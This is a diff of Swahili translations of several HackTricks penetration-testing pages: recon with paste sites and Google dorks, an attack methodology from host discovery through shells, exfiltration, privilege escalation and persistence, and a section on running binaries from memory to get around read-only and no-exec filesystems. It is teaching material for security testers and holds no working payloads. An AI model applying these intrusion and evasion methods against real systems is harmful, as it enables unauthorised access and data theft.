Wakati mwingine washambuliaji au wafanyakazi tu wata **chapisha maudhui ya kampuni katika tovuti ya paste**. Hii inaweza kuwa na au isiwe na **habari nyeti**, lakini ni ya kuvutia kutafuta.\
|
||||
Unaweza kutumia zana [**Pastos**](https://github.com/carlospolop/Pastos) kutafuta katika zaidi ya tovuti 80 za paste kwa wakati mmoja.
|
||||
|
||||
### Google Dorks
|
||||
|
||||
Google dorks za zamani lakini za thamani daima ni muhimu kupata **habari zilizofichuliwa ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelfu kadhaa ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
|
||||
Google dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari zilizofichuliwa ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelezo kadhaa **elfu** ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
|
||||
|
||||
_Kumbuka kwamba zana zinazotarajia kuendesha database yote kwa kutumia kivinjari cha kawaida cha Google hazitamalizika kamwe kwani google itakuzuia haraka sana._
|
||||
|
||||
|
@ -618,11 +618,11 @@ Pia kuna huduma za bure zinazokuruhusu **kuchunguza hifadhi za umma**, kama:
|
|||
|
||||
**Wingi wa udhaifu** unaopatikana na wawindaji wa makosa unapatikana ndani ya **maombi ya wavuti**, hivyo katika hatua hii ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, usitarajie zipate udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
|
||||
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, usitarajie kwamba zitakupata udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
|
||||
|
||||
## Muhtasari
|
||||
|
||||
> Hongera! Katika hatua hii tayari umetekeleza **kuhesabu msingi wote**. Ndio, ni msingi kwa sababu kuna hesabu zaidi inayoweza kufanywa (tutaona hila zaidi baadaye).
|
||||
> Hongera! Katika hatua hii tayari umetekeleza **kuhesabu msingi wote**. Ndio, ni msingi kwa sababu kuna hesabu zaidi inaweza kufanywa (tutaona hila zaidi baadaye).
|
||||
|
||||
Hivyo tayari umepata:
|
||||
|
||||
|
@ -633,12 +633,12 @@ Hivyo tayari umepata:
|
|||
5. Kupata **IPs** zote (kutoka na **sio kutoka CDNs**) ndani ya upeo.
|
||||
6. Kupata **seva zote za wavuti** na kuchukua **picha za skrini** zao (je, kuna kitu chochote cha ajabu kinachostahili kuangaliwa kwa kina?)
|
||||
7. Kupata **mali zote za umma za wingu** zinazomilikiwa na kampuni.
|
||||
8. **Barua pepe**, **mvujo wa akida**, na **mvujo wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
|
||||
8. **Barua pepe**, **mvuja wa akida**, na **mvuja wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
|
||||
9. **Pentesting wavuti zote ulizozipata**
|
||||
|
||||
## **Zana za Kiotomatiki za Utafiti Kamili**
|
||||
|
||||
Kuna zana kadhaa huko nje ambazo zitafanya sehemu ya vitendo vilivyopendekezwa dhidi ya upeo fulani.
|
||||
Kuna zana kadhaa huko nje ambazo zitatekeleza sehemu ya vitendo vilivyopendekezwa dhidi ya upeo fulani.
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
@ -649,15 +649,15 @@ Kuna zana kadhaa huko nje ambazo zitafanya sehemu ya vitendo vilivyopendekezwa d
|
|||
|
||||
* Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Makosa v4.0 - Toleo la Utafiti**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uvunjaji** na kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kujaribu kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili ni lazima_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya Uvunjaji wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya Uvunjaji wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya Uhalifu wa AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya Uhalifu wa GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -665,7 +665,7 @@ Jifunze na fanya mazoezi ya Uvunjaji wa GCP: <img src="/.gitbook/assets/grte.png
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za uvunjaji kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) hifadhi za github.
|
||||
* **Shiriki hila za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png"
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
|
||||
|
||||
|
@ -33,7 +33,7 @@ Je, una **ufikiaji wa kimwili** kwa mashine unayotaka kushambulia? Unapaswa kuso
|
|||
|
||||
### 1 - [Kugundua mwenyeji ndani ya mtandao](pentesting-network/#discovering-hosts)/ [Kugundua Mali za kampuni](external-recon-methodology/)
|
||||
|
||||
**Inategemea** ikiwa **mtihani** unayofanya ni **mtihani wa ndani au wa nje** unaweza kuwa na hamu ya kutafuta **wenyeji ndani ya mtandao wa kampuni** (mtihani wa ndani) au **kutafuta mali za kampuni kwenye mtandao** (mtihani wa nje).
|
||||
**Inategemea** ikiwa **mtihani** unaofanya ni **mtihani wa ndani au wa nje** unaweza kuwa na hamu ya kutafuta **wenyeji ndani ya mtandao wa kampuni** (mtihani wa ndani) au **kutafuta mali za kampuni kwenye mtandao** (mtihani wa nje).
|
||||
|
||||
{% hint style="info" %}
|
||||
Kumbuka kwamba ikiwa unafanya mtihani wa nje, mara tu unavyoweza kupata ufikiaji wa mtandao wa ndani wa kampuni unapaswa kuanzisha tena mwongo huu.
|
||||
|
@ -42,7 +42,7 @@ Kumbuka kwamba ikiwa unafanya mtihani wa nje, mara tu unavyoweza kupata ufikiaji
|
|||
### **2-** [**Kufurahia mtandao**](pentesting-network/) **(Ndani)**
|
||||
|
||||
**Sehemu hii inatumika tu ikiwa unafanya mtihani wa ndani.**\
|
||||
Kabla ya kushambulia mwenyeji huenda ukapendelea **kuiba baadhi ya akidi** **kutoka kwenye mtandao** au **kunusa** baadhi ya **data** ili kujifunza **kwa njia ya kupita/moja kwa moja (MitM)** unachoweza kupata ndani ya mtandao. Unaweza kusoma [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
Kabla ya kushambulia mwenyeji huenda ukapendelea **kuiba baadhi ya akidi** **kutoka kwenye mtandao** au **kunusa** baadhi ya **data** ili kujifunza **kwa pasivu/aktively(MitM)** unachoweza kupata ndani ya mtandao. Unaweza kusoma [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
|
||||
### 3- [Skana Bandari - Kugundua huduma](pentesting-network/#scanning-hosts)
|
||||
|
||||
|
@ -50,36 +50,36 @@ Jambo la kwanza kufanya unapokuwa **ukitafuta udhaifu katika mwenyeji** ni kujua
|
|||
|
||||
### **4-** [**Kutafuta matukio ya toleo la huduma**](search-exploits.md)
|
||||
|
||||
Mara tu unavyojua ni huduma zipi zinaendesha, na labda toleo lao, unapaswa **kutafuta udhaifu unaojulikana**. Huenda ukapata bahati na kuna exploit inayoweza kukupa shell...
|
||||
Mara tu unavyojua ni huduma zipi zinaendesha, na labda toleo lao, unapaswa **kutafuta udhaifu uliojulikana**. Huenda ukapata bahati na kuna exploit ya kukupa shell...
|
||||
|
||||
### **5-** Huduma za Pentesting
|
||||
|
||||
Ikiwa hakuna exploit ya kuvutia kwa huduma yoyote inayofanya kazi, unapaswa kutafuta **makosa ya kawaida katika kila huduma inayofanya kazi.**
|
||||
Ikiwa hakuna exploit ya kupendeza kwa huduma yoyote inayofanya kazi, unapaswa kutafuta **makosa ya kawaida katika kila huduma inayofanya kazi.**
|
||||
|
||||
**Ndani ya kitabu hiki utapata mwongozo wa pentest huduma za kawaida zaidi** (na nyingine ambazo si za kawaida sana)**. Tafadhali, tafuta kwenye orodha ya kushoto sehemu ya** _**PENTESTING**_ **(huduma zimepangwa kwa bandari zao za kawaida).**
|
||||
|
||||
**Ninataka kutoa kumbukumbu maalum kwa** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **sehemu (kama ni kubwa zaidi).**\
|
||||
Pia, mwongozo mdogo juu ya jinsi ya [**kutafuta udhaifu unaojulikana katika programu**](search-exploits.md) unaweza kupatikana hapa.
|
||||
Pia, mwongozo mdogo juu ya jinsi ya [**kutafuta udhaifu uliojulikana katika programu**](search-exploits.md) unaweza kupatikana hapa.
|
||||
|
||||
**Ikiwa huduma yako haipo ndani ya orodha, tafuta kwenye Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa **huwezi kupata chochote** kwenye Google, fanya **pentesting ya kipofu** mwenyewe, unaweza kuanza kwa **kuungana na huduma, kuifanyia fuzzing na kusoma majibu** (ikiwa yapo).
|
||||
**Ikiwa huduma yako haipo ndani ya orodha, tafuta kwenye Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa **huwezi kupata chochote** kwenye Google, fanya **pentesting yako ya kipofu**, unaweza kuanza kwa **kuungana na huduma, kuifanyia fuzzing na kusoma majibu** (ikiwa yapo).
|
||||
|
||||
#### 5.1 Zana za Kiotomatiki
|
||||
|
||||
Pia kuna zana kadhaa ambazo zinaweza kufanya **tathmini za udhaifu za kiotomatiki**. **Ningependekeza ujaribu** [**Legion**](https://github.com/carlospolop/legion)**, ambayo ni zana niliyounda na inategemea maelezo kuhusu huduma za pentesting ambazo unaweza kupata katika kitabu hiki.**
|
||||
|
||||
#### **5.2- Kuangamiza huduma**
|
||||
#### **5.2 Kuangamiza huduma**
|
||||
|
||||
Katika hali fulani **Brute-Force** inaweza kuwa na manufaa ili **kuathiri** **huduma**. [**Pata hapa CheatSheet ya huduma tofauti za kuangamiza**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Ikiwa katika hatua hii huja pata udhaifu wowote wa kuvutia unaweza **kuhitaji kujaribu phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu zangu za phishing [hapa](phishing-methodology/):
|
||||
Ikiwa katika hatua hii hujapata udhaifu wowote wa kuvutia unaweza **kuhitaji kujaribu phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu yangu ya phishing [hapa](phishing-methodology/):
|
||||
|
||||
### **7-** [**Kupata Shell**](reverse-shells/)
|
||||
|
||||
Kwa namna fulani unapaswa kuwa umepata **njia yoyote ya kutekeleza msimbo** katika mwathirika. Kisha, [orodha ya zana zinazowezekana ndani ya mfumo ambazo unaweza kutumia kupata shell ya kurudi itakuwa ya manufaa sana](reverse-shells/).
|
||||
|
||||
Hasa katika Windows unaweza kuhitaji msaada wa **kuepuka antiviruses**: [**Angalia ukurasa huu**](../windows-hardening/av-bypass.md)**.**\\
|
||||
Haswa katika Windows unaweza kuhitaji msaada wa **kuepuka antiviruses**: [**Angalia ukurasa huu**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- Ndani
|
||||
|
||||
|
@ -91,13 +91,13 @@ Ikiwa una matatizo na shell, unaweza kupata hapa mkusanyiko mdogo wa **amri muhi
|
|||
|
||||
### **9 -** [**Uhamishaji**](exfiltration.md)
|
||||
|
||||
Huenda ukahitaji **kutoa data kutoka kwa mwathirika** au hata **kuingiza kitu** (kama vile skripti za kupandisha mamlaka). **Hapa una** [**post kuhusu zana za kawaida ambazo unaweza kutumia kwa madhumuni haya**](exfiltration.md)**.**
|
||||
Huenda ukahitaji **kutoa data fulani kutoka kwa mwathirika** au hata **kuingiza kitu** (kama vile skripti za kupandisha mamlaka). **Hapa una** [**post kuhusu zana za kawaida ambazo unaweza kutumia kwa madhumuni haya**](exfiltration.md)**.**
|
||||
|
||||
### **10- Kupandisha Mamlaka**
|
||||
|
||||
#### **10.1- Privesc za Mitaa**
|
||||
|
||||
Ikiwa wewe si **root/Administrator** ndani ya sanduku, unapaswa kutafuta njia ya **kupandisha mamlaka.**\
|
||||
Ikiwa wewe si **root/Msimamizi** ndani ya sanduku, unapaswa kutafuta njia ya **kupandisha mamlaka.**\
|
||||
Hapa unaweza kupata **mwongozo wa kupandisha mamlaka kwa ndani katika** [**Linux**](../linux-hardening/privilege-escalation/) **na katika** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Unapaswa pia kuangalia hizi kurasa kuhusu jinsi **Windows inavyofanya kazi**:
|
||||
|
||||
|
@ -108,7 +108,7 @@ Unapaswa pia kuangalia hizi kurasa kuhusu jinsi **Windows inavyofanya kazi**:
|
|||
|
||||
**Usisahau kuangalia zana bora za kuorodhesha njia za Kupandisha Mamlaka za ndani za Windows na Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Privesc za Kihistoria**
|
||||
#### **10.2- Privesc za Kikoa**
|
||||
|
||||
Hapa unaweza kupata [**mbinu inayofafanua hatua za kawaida za kuorodhesha, kupandisha mamlaka na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/). Hata kama hii ni sehemu ndogo ya sehemu, mchakato huu unaweza kuwa **nyeti sana** kwenye kazi ya Pentesting/Red Team.
|
||||
|
||||
|
@ -124,26 +124,26 @@ Pata hapa njia tofauti za [**kudump nywila katika Windows**](https://github.com/
|
|||
**Tumia aina 2 au 3 tofauti za mitambo ya kudumu ili usihitaji kuathiri mfumo tena.**\
|
||||
**Hapa unaweza kupata baadhi ya** [**hila za kudumu kwenye active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Kamilisha kudumu Post katika Windows & Linux
|
||||
TODO: Kamalisha kudumu Post katika Windows & Linux
|
||||
|
||||
### 12 - Pivoting
|
||||
|
||||
Kwa **akidi zilizokusanywa** unaweza kuwa na ufikiaji kwa mashine nyingine, au labda unahitaji **kugundua na kuskan wenyeji wapya** (anzisha tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathirika wako ameunganishwa.\
|
||||
Kwa **akidi zilizokusanywa** unaweza kuwa na ufikiaji kwa mashine nyingine, au labda unahitaji **kugundua na kuskan wenyeji wapya** (anza tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathirika wako ameunganishwa.\
|
||||
Katika kesi hii, tunneling inaweza kuwa muhimu. Hapa unaweza kupata [**post inayozungumzia tunneling**](tunneling-and-port-forwarding.md).\
|
||||
Bila shaka unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata hila nzuri za kuhamasisha, kupandisha mamlaka na kudump akidi.\
|
||||
Unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata hila nzuri za kuhamasisha, kupandisha mamlaka na kudump akidi.\
|
||||
Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa ya manufaa sana kuhamasisha katika mazingira ya Windows.
|
||||
|
||||
### ZAIDI
|
||||
|
||||
#### [Programu za Android](../mobile-pentesting/android-app-pentesting/)
|
||||
|
||||
#### **Kuvunja**
|
||||
#### **Kuhusisha**
|
||||
|
||||
* [**Kuvunja Msingi wa Linux**](broken-reference/)
|
||||
* [**Kuvunja Msingi wa Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Zana za kuvunja za Msingi**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
* [**Kuhusisha Msingi wa Linux**](broken-reference/)
|
||||
* [**Kuhusisha Msingi wa Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Zana za kuhusisha za Msingi**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
|
||||
#### [**Python ya Msingi**](python/)
|
||||
#### [**Python Msingi**](python/)
|
||||
|
||||
#### **Hila za Crypto**
|
||||
|
||||
|
@ -151,7 +151,7 @@ Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
|
||||
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
# Bypass FS protections: read-only / no-exec / Distroless
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Videos
|
||||
|
||||
In the following videos you can find the techniques mentioned in this page explained more in depth:
|
||||
Katika video zifuatazo unaweza kupata mbinu zilizotajwa kwenye ukurasa huu zikielezewa kwa undani zaidi:
|
||||
|
||||
* [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## read-only / no-exec scenario
|
||||
|
||||
Ni kawaida zaidi na zaidi kukutana na mashine za linux zilizowekwa na **read-only (ro) file system protection**, hasa katika kontena. Hii ni kwa sababu kuendesha kontena na mfumo wa faili wa ro ni rahisi kama kuweka **`readOnlyRootFilesystem: true`** katika `securitycontext`:
|
||||
Ni kawaida zaidi na zaidi kupata mashine za linux zilizowekwa na **ulinzi wa mfumo wa faili wa kusoma tu (ro)**, hasa katika kontena. Hii ni kwa sababu kuendesha kontena na mfumo wa faili wa ro ni rahisi kama kuweka **`readOnlyRootFilesystem: true`** katika `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -45,10 +45,10 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, **`/dev/shm`** bado itaandikwa, hivyo ni uongo hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa **imewekwa na ulinzi wa no-exec**, hivyo ikiwa utashusha binary hapa huwezi **kuweza kuitekeleza**.
|
||||
Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, **`/dev/shm`** bado itaandikwa, hivyo ni uongo kwamba hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa **imewekwa na ulinzi wa no-exec**, hivyo ikiwa utashusha binary hapa huwezi **kuweza kuitekeleza**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kutoka kwa mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kutekeleza** binaries ambazo hazipo kwenye mfumo tayari (kama backdoors au enumerators kama `kubectl`).
|
||||
Kutoka kwa mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kutekeleza** binaries ambazo hazipo kwenye mfumo tayari (kama backdoors au waorodheshi kama `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Easiest bypass: Scripts
|
||||
|
@ -59,16 +59,16 @@ Hata hivyo, hii haitoshi kutekeleza backdoor yako ya binary au zana nyingine za
|
|||
|
||||
## Memory Bypasses
|
||||
|
||||
Ikiwa unataka kutekeleza binary lakini mfumo wa faili haukuruhusu hilo, njia bora ya kufanya hivyo ni kwa **kuitekeleza kutoka kwenye kumbukumbu**, kwani **ulinzi hauwezi kutumika huko**.
|
||||
Ikiwa unataka kutekeleza binary lakini mfumo wa faili haukuruhusu, njia bora ya kufanya hivyo ni kwa **kuitekeleza kutoka kwenye kumbukumbu**, kwani **ulinzi hauwezi kutumika huko**.
|
||||
|
||||
### FD + exec syscall bypass
|
||||
|
||||
Ikiwa una baadhi ya injini za script zenye nguvu ndani ya mashine, kama **Python**, **Perl**, au **Ruby** unaweza kupakua binary ili kuitekeleza kutoka kwenye kumbukumbu, kuihifadhi katika file descriptor ya kumbukumbu (`create_memfd` syscall), ambayo haitalindwa na ulinzi huo na kisha kuita **`exec` syscall** ikionyesha **fd kama faili ya kutekeleza**.
|
||||
Ikiwa una injini za script zenye nguvu ndani ya mashine, kama **Python**, **Perl**, au **Ruby** unaweza kupakua binary ili kuitekeleza kutoka kwenye kumbukumbu, kuihifadhi katika desktopu ya kumbukumbu (`create_memfd` syscall), ambayo haitalindwa na ulinzi huo na kisha kuita **`exec` syscall** ikionyesha **fd kama faili ya kutekeleza**.
|
||||
|
||||
Kwa hili unaweza kwa urahisi kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kupitisha binary na itaunda script katika lugha iliyoonyeshwa na **binary iliyoshinikizwa na b64 encoded** na maagizo ya **kufungua na kuondoa shinikizo** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito kwa **exec** syscall kuikimbia.
|
||||
Kwa hili unaweza kwa urahisi kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kupitisha binary na itaunda script katika lugha iliyoonyeshwa na **binary iliyoshinikizwa na b64 encoded** na maagizo ya **kufungua na kuondoa shinikizo** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito wa **exec** syscall kuikimbia.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Hii haiwezi kufanya kazi katika lugha nyingine za scripting kama PHP au Node kwa sababu hazina njia yoyote ya **kawaida ya kuita raw syscalls** kutoka kwenye script, hivyo haiwezekani kuita `create_memfd` kuunda **memory fd** kuhifadhi binary.
|
||||
Hii haifanyi kazi katika lugha nyingine za scripting kama PHP au Node kwa sababu hazina njia yoyote ya **kawaida ya kuita syscalls za moja kwa moja** kutoka kwenye script, hivyo haiwezekani kuita `create_memfd` kuunda **memory fd** kuhifadhi binary.
|
||||
|
||||
Zaidi ya hayo, kuunda **fd ya kawaida** na faili katika `/dev/shm` haitafanya kazi, kwani hutaruhusiwa kuikimbia kwa sababu **ulinzi wa no-exec** utaweza kutumika.
|
||||
{% endhint %}
|
||||
|
@ -77,7 +77,7 @@ Zaidi ya hayo, kuunda **fd ya kawaida** na faili katika `/dev/shm` haitafanya ka
|
|||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ni mbinu inayokuruhusu **kubadilisha kumbukumbu ya mchakato wako mwenyewe** kwa kuandika tena **`/proc/self/mem`**.
|
||||
|
||||
Hivyo, **kuweza kudhibiti msimbo wa mkusanyiko** unaotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato ili **kutekeleza msimbo wowote wa kawaida**.
|
||||
Kwa hivyo, **kuweza kudhibiti msimbo wa mkusanyiko** unaotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato ili **utekeleze msimbo wowote wa kawaida**.
|
||||
|
||||
{% hint style="success" %}
|
||||
